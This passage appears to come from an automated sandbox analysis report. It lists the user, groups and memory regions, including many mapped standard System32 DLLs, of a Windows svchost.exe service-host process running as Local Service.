"C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e4a8" [0xc000000f], "LOCAL" [0x7] Region: id = 16152 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16153 start_va = 0xd743d20000 end_va = 0xd743d2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d743d20000" filename = "" Region: id = 16154 start_va = 0xd743d30000 end_va = 0xd743d30fff entry_point = 0xd743d30000 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 16155 start_va = 0xd743d40000 end_va = 0xd743d53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d743d40000" filename = "" Region: id = 16156 start_va = 0xd743d60000 end_va = 0xd743ddffff entry_point = 0x0 region_type = private name = "private_0x000000d743d60000" filename = "" Region: id = 16157 start_va = 0xd743de0000 end_va = 0xd743de3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d743de0000" filename = "" Region: id = 16158 start_va = 0xd743df0000 end_va = 0xd743df0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d743df0000" filename = "" Region: id = 16159 start_va = 0xd743e00000 end_va = 0xd743e01fff entry_point = 0x0 region_type = private name = "private_0x000000d743e00000" filename = "" Region: id = 16160 start_va = 0xd743e10000 end_va = 0xd743ecdfff entry_point = 0xd743e10000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 16161 start_va = 0xd743ed0000 end_va = 0xd743ed0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d743ed0000" filename = "" Region: id = 16162 start_va = 0xd743ee0000 end_va = 0xd743ee0fff entry_point = 0x0 region_type = private name = "private_0x000000d743ee0000" filename = "" Region: id = 16163 start_va = 0xd743f50000 end_va = 0xd743f50fff entry_point = 0x0 region_type = private name = "private_0x000000d743f50000" filename = "" Region: id = 16164 start_va = 0xd743f60000 end_va = 0xd743f60fff entry_point = 0x0 region_type = private name = "private_0x000000d743f60000" filename = "" Region: id = 16165 start_va = 0xd743f70000 end_va = 0xd743f76fff entry_point = 0x0 region_type = private name = "private_0x000000d743f70000" filename = "" Region: id = 16166 start_va = 0xd743f80000 end_va = 0xd743fe4fff entry_point = 0xd743f80000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 16167 start_va = 0xd743ff0000 end_va = 0xd743ff0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d743ff0000" filename = "" Region: id = 16168 start_va = 0xd744000000 end_va = 0xd7440fffff entry_point = 0x0 region_type = private name = "private_0x000000d744000000" filename = "" Region: id = 16169 start_va = 0xd744100000 end_va = 0xd7441bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d744100000" filename = "" Region: id = 16170 start_va = 0xd7441c0000 end_va = 0xd7441dffff entry_point = 0x0 region_type = private name = "private_0x000000d7441c0000" filename = "" Region: id = 16171 start_va = 0xd7441e0000 end_va = 0xd7441fffff entry_point = 0x0 region_type = private name = "private_0x000000d7441e0000" filename = "" Region: id = 16172 start_va = 0xd744200000 end_va = 0xd744200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d744200000" filename = "" Region: id = 16173 start_va = 0xd744210000 end_va = 0xd744216fff entry_point = 0x0 region_type = private name = "private_0x000000d744210000" filename = "" Region: id = 16174 start_va = 0xd744220000 end_va = 0xd74429ffff entry_point = 0x0 region_type = private name = "private_0x000000d744220000" filename = "" Region: id = 16175 start_va = 0xd7442a0000 end_va = 0xd7442a0fff entry_point = 0x0 region_type = private name = "private_0x000000d7442a0000" filename = "" Region: id = 16176 start_va = 0xd7442b0000 end_va = 0xd7442b0fff entry_point = 0x0 region_type = private name = "private_0x000000d7442b0000" filename = "" Region: id = 16177 start_va = 0xd7442c0000 end_va = 0xd7442c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d7442c0000" filename = "" Region: id = 16178 start_va = 0xd7442d0000 end_va = 0xd7442d4fff entry_point = 0xd7442d0000 region_type = mapped_file name = "pcaevts.dll" filename = "\\Windows\\System32\\pcaevts.dll" (normalized: "c:\\windows\\system32\\pcaevts.dll") Region: id = 16179 start_va = 0xd744300000 end_va = 0xd7443fffff entry_point = 0x0 region_type = private name = "private_0x000000d744300000" filename = "" Region: id = 16180 start_va = 0xd744400000 end_va = 0xd744587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d744400000" filename = "" Region: id = 16181 start_va = 0xd744590000 end_va = 0xd744710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d744590000" filename = "" Region: id = 16182 start_va = 0xd744720000 end_va = 0xd74473ffff entry_point = 0x0 region_type = private name = "private_0x000000d744720000" filename = "" Region: id = 16183 start_va = 0xd744740000 end_va = 0xd7447bffff entry_point = 0x0 region_type = private name = "private_0x000000d744740000" filename = "" Region: id = 16184 start_va = 0xd744820000 end_va = 0xd74491ffff entry_point = 0x0 region_type = private name = "private_0x000000d744820000" filename = "" Region: id = 16185 start_va = 0xd744920000 end_va = 0xd744a1ffff entry_point = 0x0 region_type = private name = "private_0x000000d744920000" filename = "" Region: id = 16186 start_va = 0xd744a20000 end_va = 0xd744a9ffff entry_point = 0x0 region_type = private name = "private_0x000000d744a20000" filename = "" Region: id = 16187 start_va = 0xd744b00000 end_va = 0xd744b06fff entry_point = 0x0 region_type = private name = "private_0x000000d744b00000" filename = "" Region: id = 16188 start_va = 0xd744b10000 end_va = 0xd744b8ffff entry_point = 0x0 region_type = private name = "private_0x000000d744b10000" filename = "" Region: id = 16189 start_va = 0xd744b90000 end_va = 0xd744bfffff entry_point = 0xd744b90000 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 16190 start_va = 0xd744c00000 end_va = 0xd744cfffff entry_point = 0x0 region_type = private name = "private_0x000000d744c00000" filename = "" Region: id = 16191 start_va = 0xd744d00000 end_va = 0xd744dfffff entry_point = 0x0 region_type = private name = "private_0x000000d744d00000" filename = "" Region: id = 16192 start_va = 0xd744e00000 end_va = 0xd744e7ffff entry_point = 0x0 region_type = private name = "private_0x000000d744e00000" filename = "" Region: id = 16193 start_va = 0xd744e80000 end_va = 0xd744efffff entry_point = 0x0 region_type = private name = "private_0x000000d744e80000" filename = "" Region: id = 16194 start_va = 0xd744f00000 end_va = 0xd744ffffff entry_point = 0x0 region_type = private name = "private_0x000000d744f00000" filename = "" Region: id = 16195 start_va = 0xd745000000 end_va = 0xd7450fffff entry_point = 0x0 region_type = private name = "private_0x000000d745000000" filename = "" Region: id = 16196 start_va = 0xd745100000 end_va = 0xd7451fffff entry_point = 0x0 region_type = private name = "private_0x000000d745100000" filename = "" Region: id = 16197 start_va = 0xd745200000 end_va = 0xd7452fffff entry_point = 0x0 region_type = private name = "private_0x000000d745200000" filename = "" Region: id = 16198 start_va = 0xd745300000 end_va = 0xd7453fffff entry_point = 0x0 region_type = private name = "private_0x000000d745300000" filename = "" Region: id = 16199 start_va = 0xd745400000 end_va = 0xd745736fff entry_point = 0xd745400000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 16200 start_va = 0xd745740000 end_va = 0xd74583ffff entry_point = 0x0 region_type = private name = "private_0x000000d745740000" filename = "" Region: id = 16201 start_va = 0xd745a40000 end_va = 0xd745abffff entry_point = 0x0 region_type = private name = "private_0x000000d745a40000" filename = "" Region: id = 16202 start_va = 0xd745b00000 end_va = 0xd745bfffff entry_point = 0x0 region_type = private name = "private_0x000000d745b00000" filename = "" Region: id = 16203 start_va = 0xd745c00000 end_va = 0xd745cfffff entry_point = 0x0 region_type = private name = "private_0x000000d745c00000" filename = "" Region: id = 16204 start_va = 0xd745d40000 end_va = 0xd745dbffff entry_point = 0x0 region_type = private name = "private_0x000000d745d40000" filename = "" Region: id = 16205 start_va = 0xd745dc0000 end_va = 0xd745ebffff entry_point = 0x0 region_type = private name = "private_0x000000d745dc0000" filename = "" Region: id = 16206 start_va = 0xd745ec0000 end_va = 0xd745fbffff entry_point = 0x0 region_type = private name = "private_0x000000d745ec0000" filename = "" Region: id = 16207 start_va = 0xd746000000 end_va = 0xd7460fffff entry_point = 0x0 region_type = private name = "private_0x000000d746000000" filename = "" Region: id = 16208 start_va = 0xd746100000 end_va = 0xd7461fffff entry_point = 0x0 region_type = private name = "private_0x000000d746100000" filename = "" Region: id = 16209 start_va = 0xd746200000 end_va = 0xd7462fffff entry_point = 0x0 region_type = private name = "private_0x000000d746200000" filename = "" Region: id = 16210 start_va = 0xd746300000 end_va = 0xd7463fffff entry_point = 0x0 region_type = private name = "private_0x000000d746300000" filename = "" Region: id = 16211 start_va = 0xd746400000 end_va = 0xd746492fff entry_point = 0xd746400000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 16212 start_va = 0xd746600000 end_va = 0xd7466fffff entry_point = 0x0 region_type = private name = "private_0x000000d746600000" filename = "" Region: id = 16213 start_va = 0xd746700000 end_va = 0xd7467fffff entry_point = 0x0 region_type = private name = "private_0x000000d746700000" filename = "" Region: id = 16214 start_va = 0xd746800000 end_va = 0xd7468fffff entry_point = 0x0 region_type = private name = "private_0x000000d746800000" filename = "" Region: id = 16215 start_va = 0xd746900000 end_va = 0xd7469fffff entry_point = 0x0 region_type = private name = "private_0x000000d746900000" filename = "" Region: id = 16216 start_va = 0xd746a00000 end_va = 0xd746afffff entry_point = 0x0 region_type = private name = "private_0x000000d746a00000" filename = "" Region: id = 16217 start_va = 0xd746b00000 end_va = 0xd746bfffff entry_point = 0x0 region_type = private name = "private_0x000000d746b00000" filename = "" Region: id = 16218 start_va = 0xd746c00000 end_va = 0xd746cfffff entry_point = 0x0 region_type = private name = "private_0x000000d746c00000" filename = "" Region: id = 16219 start_va = 0xd746d00000 end_va = 0xd746dfffff entry_point = 0x0 region_type = private name = "private_0x000000d746d00000" filename = "" Region: id = 16220 start_va = 0x7df5ff080000 end_va = 0x7ff5ff07ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff080000" filename = "" Region: id = 16221 start_va = 0x7ff70500c000 end_va = 0x7ff70500dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70500c000" filename = "" Region: id = 16222 start_va = 0x7ff70500e000 end_va = 0x7ff70500ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70500e000" filename = "" Region: id = 16223 start_va = 0x7ff705010000 end_va = 0x7ff705011fff entry_point = 0x0 region_type = private name = "private_0x00007ff705010000" filename = "" Region: id = 16224 start_va = 0x7ff705012000 end_va = 0x7ff705013fff entry_point = 0x0 region_type = private name = "private_0x00007ff705012000" filename = "" Region: id = 16225 start_va = 0x7ff705016000 end_va = 0x7ff705017fff entry_point = 0x0 region_type = private name = "private_0x00007ff705016000" filename = "" Region: id = 16226 start_va = 0x7ff705018000 end_va = 0x7ff705019fff entry_point = 0x0 region_type = private name = "private_0x00007ff705018000" filename = "" Region: id = 16227 start_va = 0x7ff70501a000 end_va = 0x7ff70501bfff entry_point = 0x0 region_type = private name = "private_0x00007ff70501a000" filename = "" Region: id = 16228 start_va = 0x7ff70501e000 end_va = 0x7ff70501ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70501e000" filename = "" Region: id = 16229 start_va = 0x7ff705020000 end_va = 0x7ff705021fff entry_point = 0x0 region_type = private name = "private_0x00007ff705020000" filename = "" Region: id = 16230 start_va = 0x7ff705022000 end_va = 0x7ff705023fff entry_point = 0x0 region_type = private name = "private_0x00007ff705022000" filename = "" Region: id = 16231 start_va = 0x7ff705024000 end_va = 0x7ff705025fff entry_point = 0x0 region_type = private name = "private_0x00007ff705024000" filename = "" Region: id = 16232 start_va = 0x7ff705026000 end_va = 0x7ff705027fff entry_point = 0x0 region_type = private name = "private_0x00007ff705026000" filename = "" Region: id = 16233 start_va = 0x7ff705028000 end_va = 0x7ff705029fff entry_point = 0x0 region_type = private name = "private_0x00007ff705028000" filename = "" Region: id = 16234 start_va = 0x7ff70502a000 end_va = 0x7ff70502bfff entry_point = 0x0 region_type = private name = "private_0x00007ff70502a000" filename = "" Region: id = 16235 start_va = 0x7ff70502c000 end_va = 0x7ff70502dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70502c000" filename = "" Region: id = 16236 start_va = 0x7ff70502e000 end_va = 0x7ff70502ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70502e000" filename = "" Region: id = 16237 start_va = 0x7ff705030000 end_va = 0x7ff70512ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff705030000" filename = "" Region: id = 16238 start_va = 0x7ff705130000 end_va = 0x7ff705152fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff705130000" filename = "" Region: id = 16239 start_va = 0x7ff705154000 end_va = 0x7ff705155fff entry_point = 0x0 region_type = private name = "private_0x00007ff705154000" filename = "" Region: id = 16240 start_va = 0x7ff705156000 end_va = 0x7ff705157fff entry_point = 0x0 region_type = private name = "private_0x00007ff705156000" filename = "" Region: id = 16241 start_va = 0x7ff705158000 end_va = 0x7ff705159fff entry_point = 0x0 region_type = private name = "private_0x00007ff705158000" filename = "" Region: id = 16242 start_va = 0x7ff70515c000 end_va = 0x7ff70515dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70515c000" filename = "" Region: id = 16243 start_va = 0x7ff70515e000 end_va = 0x7ff70515efff entry_point = 0x0 region_type = private name = "private_0x00007ff70515e000" filename = "" Region: id = 16244 start_va = 0x7ff705630000 end_va = 0x7ff70563cfff entry_point = 0x7ff705630000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 16245 start_va = 0x7ff9d5e40000 end_va = 0x7ff9d5fc9fff entry_point = 0x7ff9d5e40000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 16246 start_va = 0x7ff9d6020000 end_va = 0x7ff9d604ffff entry_point = 0x7ff9d6020000 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 16247 start_va = 0x7ff9d7170000 end_va = 0x7ff9d71f4fff entry_point = 0x7ff9d7170000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 16248 start_va = 0x7ff9dc090000 end_va = 0x7ff9dc0d2fff entry_point = 0x7ff9dc090000 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 16249 start_va = 0x7ff9e0490000 end_va = 0x7ff9e04a3fff entry_point = 0x7ff9e0490000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 16250 start_va = 0x7ff9e04b0000 end_va = 0x7ff9e05a7fff entry_point = 0x7ff9e04b0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 16251 start_va = 0x7ff9e1ff0000 end_va = 0x7ff9e206efff entry_point = 0x7ff9e1ff0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 16252 start_va = 0x7ff9e4a10000 end_va = 0x7ff9e4ae5fff entry_point = 0x7ff9e4a10000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 16253 start_va = 0x7ff9e4b30000 end_va = 0x7ff9e4b40fff entry_point = 0x7ff9e4b30000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 16254 start_va = 0x7ff9e7540000 end_va = 0x7ff9e754dfff entry_point = 0x7ff9e7540000 region_type = mapped_file name = "cmintegrator.dll" filename = "\\Windows\\System32\\cmintegrator.dll" (normalized: "c:\\windows\\system32\\cmintegrator.dll") Region: id = 16255 start_va = 0x7ff9e7550000 end_va = 0x7ff9e7585fff entry_point = 0x7ff9e7550000 region_type = mapped_file name = "wcmcsp.dll" filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll") Region: id = 16256 start_va = 0x7ff9e7590000 end_va = 0x7ff9e7627fff entry_point = 0x7ff9e7590000 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 16257 start_va = 0x7ff9e7630000 end_va = 0x7ff9e7649fff entry_point = 0x7ff9e7630000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 16258 start_va = 0x7ff9e7650000 end_va = 0x7ff9e7665fff entry_point = 0x7ff9e7650000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 16259 start_va = 0x7ff9e7740000 end_va = 0x7ff9e7787fff entry_point = 0x7ff9e7740000 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 16260 start_va = 0x7ff9e7790000 end_va = 0x7ff9e77ecfff entry_point = 0x7ff9e7790000 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 16261 start_va = 0x7ff9e7820000 end_va = 0x7ff9e782afff entry_point = 0x7ff9e7820000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 16262 start_va = 0x7ff9e7830000 end_va = 0x7ff9e7837fff entry_point = 0x7ff9e7830000 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 16263 start_va = 0x7ff9e7840000 end_va = 0x7ff9e7950fff entry_point = 0x7ff9e7840000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 16264 start_va = 0x7ff9e7960000 end_va = 0x7ff9e7a90fff entry_point = 0x7ff9e7960000 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 16265 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 16266 start_va = 0x7ff9e7f60000 end_va = 0x7ff9e7fd1fff entry_point = 0x7ff9e7f60000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 16267 start_va = 0x7ff9e8160000 end_va = 0x7ff9e8170fff entry_point = 0x7ff9e8160000 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 16268 start_va = 0x7ff9e86a0000 end_va = 0x7ff9e86aafff entry_point = 0x7ff9e86a0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 16269 start_va = 0x7ff9e86b0000 end_va = 0x7ff9e86b8fff entry_point = 0x7ff9e86b0000 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 16270 start_va = 0x7ff9e86c0000 end_va = 0x7ff9e86f7fff entry_point = 0x7ff9e86c0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 16271 start_va = 0x7ff9e8700000 end_va = 0x7ff9e8709fff entry_point = 0x7ff9e8700000 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 16272 start_va = 0x7ff9e8710000 end_va = 0x7ff9e88bafff entry_point = 0x7ff9e8710000 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 16273 start_va = 0x7ff9e88d0000 end_va = 0x7ff9e88e7fff entry_point = 0x7ff9e88d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 16274 start_va = 0x7ff9e9260000 end_va = 0x7ff9e9272fff entry_point = 0x7ff9e9260000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 16275 start_va = 0x7ff9e9b10000 end_va = 0x7ff9e9b36fff entry_point = 0x7ff9e9b10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 16276 start_va = 0x7ff9e9ed0000 end_va = 0x7ff9e9f01fff entry_point = 0x7ff9e9ed0000 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 16277 start_va = 0x7ff9e9f10000 end_va = 0x7ff9e9f91fff entry_point = 0x7ff9e9f10000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 16278 start_va = 0x7ff9ea0c0000 end_va = 0x7ff9ea0e2fff entry_point = 0x7ff9ea0c0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 16279 start_va = 0x7ff9ea1f0000 end_va = 0x7ff9ea1fbfff entry_point = 0x7ff9ea1f0000 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 16280 start_va = 0x7ff9ea3f0000 end_va = 0x7ff9ea3fbfff entry_point = 0x7ff9ea3f0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 16281 start_va = 0x7ff9ea620000 end_va = 0x7ff9ea677fff entry_point = 0x7ff9ea620000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 16282 start_va = 0x7ff9ea6c0000 end_va = 0x7ff9ea6f2fff entry_point = 0x7ff9ea6c0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 16283 start_va = 0x7ff9ea7b0000 end_va = 0x7ff9ea7cefff entry_point = 0x7ff9ea7b0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 16284 start_va = 0x7ff9ea810000 end_va = 0x7ff9ea8b7fff entry_point = 0x7ff9ea810000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 16285 start_va = 0x7ff9eaa10000 end_va = 0x7ff9eaa6cfff entry_point = 0x7ff9eaa10000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 16286 start_va = 0x7ff9eaa70000 end_va = 0x7ff9eaa86fff entry_point = 0x7ff9eaa70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 16287 start_va = 0x7ff9eabe0000 end_va = 0x7ff9eabeafff entry_point = 0x7ff9eabe0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 16288 start_va = 0x7ff9eadc0000 end_va = 0x7ff9eadebfff entry_point = 0x7ff9eadc0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 16289 start_va = 0x7ff9eafc0000 end_va = 0x7ff9eafe7fff entry_point = 0x7ff9eafc0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 16290 start_va = 0x7ff9eaff0000 end_va = 0x7ff9eb05afff entry_point = 0x7ff9eaff0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 16291 start_va = 0x7ff9eb1a0000 end_va = 0x7ff9eb1b2fff entry_point = 0x7ff9eb1a0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 16292 start_va = 0x7ff9eb1c0000 end_va = 0x7ff9eb209fff entry_point = 0x7ff9eb1c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 16293 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 16294 start_va = 0x7ff9eb220000 end_va = 0x7ff9eb230fff entry_point = 0x7ff9eb220000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 16295 start_va = 0x7ff9eb2f0000 end_va = 0x7ff9eb343fff entry_point = 0x7ff9eb2f0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 16296 start_va = 0x7ff9eb350000 end_va = 0x7ff9eb510fff entry_point = 0x7ff9eb350000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 16297 start_va = 0x7ff9ebc10000 end_va = 0x7ff9ebc53fff entry_point = 0x7ff9ebc10000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 16298 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 16299 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 16300 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" 